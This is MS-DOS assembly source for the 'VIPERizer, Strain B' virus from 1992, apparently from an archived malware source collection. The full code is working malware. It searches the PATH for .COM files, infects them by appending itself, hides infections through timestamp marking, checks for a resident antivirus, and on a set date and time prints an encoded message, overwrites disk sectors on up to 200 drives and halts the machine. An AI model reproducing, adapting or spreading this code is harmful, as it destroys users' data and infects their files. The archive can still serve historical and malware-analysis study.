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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bush.asm

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2021-01-12 23:34:47 +00:00
;
; VIPERizer, Strain B
; Copyright (c) 1992, Stingray/VIPER
; This is a Viral Inclined Programming Experts Ring Programming Team Production
;
; VIPER are: Stingray, Venom, and Guido Sanchez
;
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
NOP ; just a dud for the 'infected' file.
v_start equ $
virus: PUSH CX
mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker
int 21h
cmp ax,101h ; Is VirexPC/FluShit in memory?
jne more_virus ; Nope.
jmp quit ; FUCK!!!!!
more_virus:
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
mov cx,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
MOV AH,30H
INT 21H
nop
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
dos_ok:
mov ah,2ch ; Get Time
int 21h ; Do it.
xor bx,bx ; VIPERize bx, for later use.
cmp dl,4 ; hund's of seconds 4?
jle print_message ; If 4 or less, print a message.
; This serves as a random 1 in 20
; chance of the message printing
jmp short get_date ; No? What date is it...?
print_message:
mov dl, byte ptr [si+msg+bx] ; Get a byte of our message...
or dl,dl ; is it 0? (end of message)
jz get_date ; Get the date if it is...
sub dl,75 ; Unencrypt message
mov ah,2 ; Prepare to print one letter
int 21h ; do it!
inc bx ; point to next character.
jmp short print_message ; Do it again.
get_date:
mov ah,2ah ; What day is it?
int 21h ; Find out.
cmp dh,3 ; Is it february?
jne resume ; No? Oh well.
cmp dl,24 ; Is it valentines day?
jne resume ; No? Damn.
mov ah,2ch ; What time is it?
int 21h ; Find out.
cmp ch,7 ; Is it 7 hours?
jne resume ; No? C'est la vie...
cmp cl,45 ; Is it 45 minutes?
jne resume ; No? Too Bad...
xor bx,bx ; VIPERize bx
cool:
mov dl,byte ptr [si+msg2+bx] ; This is pretty much the
or dl,dl ; same as the above 'print'
jz no_mas ; function. except I didn't
sub dl,75 ; make it a procedure.
mov ah,2
int 21h
inc bx
jmp short cool
no_mas:
mov al,0 ; Start with drive default
phri:
mov cx,255 ; Nuke a few sectors
mov dx,1 ; Beginning with sector 1!!!
int 26h ; VIPERize them!!!! Rah!!!
jc error ; Uh oh. Problem.
add sp,2 ; Worked great. Clear the stack...
error:
inc al ; Get another drive!
cmp al,200 ; Have we fried 200 drives?
je done_phrying ; Yep.
jmp short phri ; Nope.
done_phrying:
cli ; Disable Interrupts
hlt ; Lock up computer.
resume:
PUSH ES
MOV AH,2FH
INT 21H
nop
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
MOV DX,dta ;Offset of new DTA in virus data area
nop
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
nop
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
nop
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
nop
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
nop
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
nop
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
nop
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
nop
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
xor si,si
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
CMP CH,'\' ;Ends with "\"?
nop
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
nop
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
nop
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
nop
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
nop
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
nop
MOV DX,wrk_spc ;Point to \path\name in workspace
ADD DX,SI
INT 21H
nop
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
nop
MOV DX,wrk_spc ;Offset of \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
nop
MOV AX,OFFSET 3D02H ;Read/Write
nop
MOV DX,wrk_spc ;Offset to \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
nop
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
nop
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,3FH
nop
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
nop
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
MOV AX,OFFSET 4202H
xor cx,cx
xor dx,dx
INT 21H
nop
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
nop
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
nop
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
nop
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
MOV AX,OFFSET 4200H
xor cx,cx
xor dx,dx
INT 21H
nop
JB fix_time_stamp ;Jump if error
MOV AH,40H
MOV CX,3
nop
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
nop
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
nop
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
nop
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
nop
MOV AH,3EH
INT 21H
nop
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
nop
MOV DX,wrk_spc
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
nop
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
nop
MOV DS,[SI+old_dts]
INT 21H
nop
POP DS
nop
quit:
POP CX
XOR AX,AX
XOR BX,BX
xor cx,cx
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
olddta_ DW 0 ;Old DTA offset
olddts_ DW 0 ;Old DTA segment
oldtim_ DW 0 ;Old Time
oldate_ DW 0 ;Old date
oldatt_ DW 0 ;Old file attributes
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H ;Start of JMP instruction
jmpdsp_ DW 0 ;The displacement part
fspec_ DB '*.COM',0
pathad_ DW 0 ;Path address
namptr_ DW 0 ;Pointer to start of file name
envstr_ DB 'PATH=' ;Find this in the environment
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0) ;Temporary DTA goes here
dtatim_ DW 0,0 ;Time stamp in DTA
dtalen_ DW 0,0 ;File length in the DTA
dtanam_ DB 0Dh dup (0) ;File name in the DTA
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
_msg db 158,186,189,189,196,107,191,179,180,190,107,174,186,184,187,192
db 191,176,189,107,180,190,107,185,186,107,183,186,185,178,176,189
db 107,186,187,176,189,172,191,180,186,185,172,183,107,175,192,176
db 107,191,186,107,172,185,107,186,192,191,173,189,176,172,182,107
db 186,177,088,141,192,190,179,180,190,179,180,189,186,088,147,172
db 193,176,107,172,107,153,148,142,144,107,175,172,196,121,121,121
db 088
db 0
_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
db 185,107,141,085,088
db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
db 172,196,122,161,148,155,144,157,085,088
db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
db 107,143,172,196,108,085,088
db 0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
msg = _msg - vir_dat ; Disp. to 1st msg
msg2 = _msg2 - vir_dat ; Disp. to 2nd msg
CODE ENDS
END VCODE

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